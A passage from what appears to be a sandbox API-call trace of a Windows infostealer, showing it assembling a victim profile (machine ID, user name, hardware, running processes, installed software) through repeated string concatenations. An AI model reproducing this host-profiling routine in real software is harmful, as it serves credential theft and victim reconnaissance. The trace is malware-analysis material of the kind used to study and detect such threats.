[384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\n", lpString2="Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508"
[0054.949] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="14.25.28508", lpcbData=0x1816c0*=0xc) returned 0x0
[0054.949] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 ["
[0054.949] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [", lpString2="14.25.28508" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- 